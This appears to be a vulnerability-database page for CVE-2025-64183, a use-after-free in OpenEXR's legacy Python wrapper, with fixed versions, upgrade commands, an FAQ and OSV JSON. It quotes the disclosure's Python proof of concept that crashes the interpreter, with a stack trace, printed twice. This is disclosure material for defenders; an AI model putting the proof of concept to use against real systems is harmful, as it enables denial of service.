CVE-2025-64183: OpenEXR OpenEXR Has Use After Free Vulnerability
MODERATE
Advisory Identifier:
GHSA-57cw-j6vp-2p9m
Advisory Summary
CVE-2025-64183 is a MODERATE (CVSS 7.5) openexr has use after free vulnerability (CWE-416: Use After Free) affecting OpenEXR libraries in the PyPI ecosystem. The issue involves openexr has use after free in pyobject_stealattrstring. Remediation is available by upgrading affected packages to version 3.2.5, 3.3.6, 3.4.3.
CVE-2025-64183 at a Glance
CVE Identifier
CVE-2025-64183
GHSA Identifier
GHSA-57cw-j6vp-2p9m
Severity
MODERATE
CVSS v3.1 Base Score
7.5
CWE Classification
CWE-416: Use After Free
Affected Product
OpenEXR
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
None (I:N)
Availability
High (A:H)
How to Fix CVE-2025-64183
To remediate this vulnerability, upgrade all affected OpenEXR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
OpenEXR
fixed: 3.2.5
pip install OpenEXR>=3.2.5
OpenEXR
fixed: 3.3.6
pip install OpenEXR>=3.3.6
OpenEXR
fixed: 3.4.3
pip install OpenEXR>=3.4.3
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show OpenEXRHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-64183, inspect your installed packages using pip:
pip show OpenEXRAnalyze the terminal output to locate any version of OpenEXR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.5), your application is affected.
Note: The pip show OpenEXR command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-416: Use After Free, where the product reuses or references memory after it has been freed. at some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. In OpenEXR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.
This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).
### Details
The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286
### PoC
```py
import OpenEXR, Imath
# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"
# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
def __new__(cls, v):
return int.__new__(cls, v)
def __del__(self):
# stir the heap to make the UAF obvious under PYTHONMALLOC=debug
_ = bytearray(1_000_000)
class PixelTypeProxy:
@property
def v(self):
return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
```
running
```shell
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
```
```
About to trigger UAF...
Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first):
File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
```
### Impact
Completely depends on the context. Typical memory stuff related to UAFs.
CVE-2025-64183 Affected OpenEXR Versions
3 component(s)
Fixed Versions:
3.2.53.3.63.4.3
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
OpenEXR
|
PyPI |
≥ 3.2.0
< 3.2.5
|
3.2.5
|
|
OpenEXR
|
PyPI |
≥ 3.3.0
< 3.3.6
|
3.3.6
|
|
OpenEXR
|
PyPI |
≥ 3.4.0
< 3.4.3
|
3.4.3
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m
NVD — CVE-2025-64183
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-64183
OpenEXR Source Repository
REPOSITORY
https://github.com/AcademySoftwareFoundation/openexr
OpenEXR Source Repository
REPOSITORY
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115
Frequently Asked Questions
What is CVE-2025-64183?
CVE-2025-64183 is a security vulnerability in OpenEXR involving OpenEXR has use after free in PyObject_StealAttrString under CWE-416: Use After Free.
Which OpenEXR versions are affected?
Affected versions include releases prior to 3.2.5, 3.3.6, 3.4.3 across affected packages: OpenEXR.
What version fixes CVE-2025-64183?
Upgrading to 3.2.5, 3.3.6, 3.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is OpenEXR affected?
Yes, OpenEXR is affected in releases prior to 3.2.5, 3.3.6, 3.4.3. Upgrade your dependency to 3.2.5, 3.3.6, 3.4.3 or later.
What is the CVSS score of CVE-2025-64183?
CVE-2025-64183 has a CVSS v3.1 base score of 7.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-64183?
CVE-2025-64183 is classified under CWE-416: Use After Free (The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.).
How can I check PyPI dependencies for CVE-2025-64183?
Run the dependency tree command: 'pip show OpenEXR'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-57cw-j6vp-2p9m",
"modified" : "2026-04-06T17:51:23Z",
"published" : "2026-04-06T17:51:23Z",
"aliases" : [ "CVE-2025-64183" ],
"summary" : "OpenEXR has use after free in PyObject_StealAttrString",
"details" : "### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong => UAF.\nclass FreshInt(int):\n def __new__(cls, v):\n return int.__new__(cls, v)\n def __del__(self):\n # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n @property\n def v(self):\n return FreshInt(Imath.PixelType.FLOAT) # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n File \"/private/tmp/i/pt.py\", line 24 in <module>\n\nCurrent thread's C stack trace (most recent call first):\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "OpenEXR"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.2.0"
}, {
"fixed" : "3.2.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "OpenEXR"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.3.0"
}, {
"fixed" : "3.3.6"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "OpenEXR"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.4.0"
}, {
"fixed" : "3.4.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64183"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/AcademySoftwareFoundation/openexr"
}, {
"type" : "WEB",
"url" : "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-416" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-06T17:51:23Z",
"nvd_published_at" : "2025-11-10T22:15:37Z"
}
}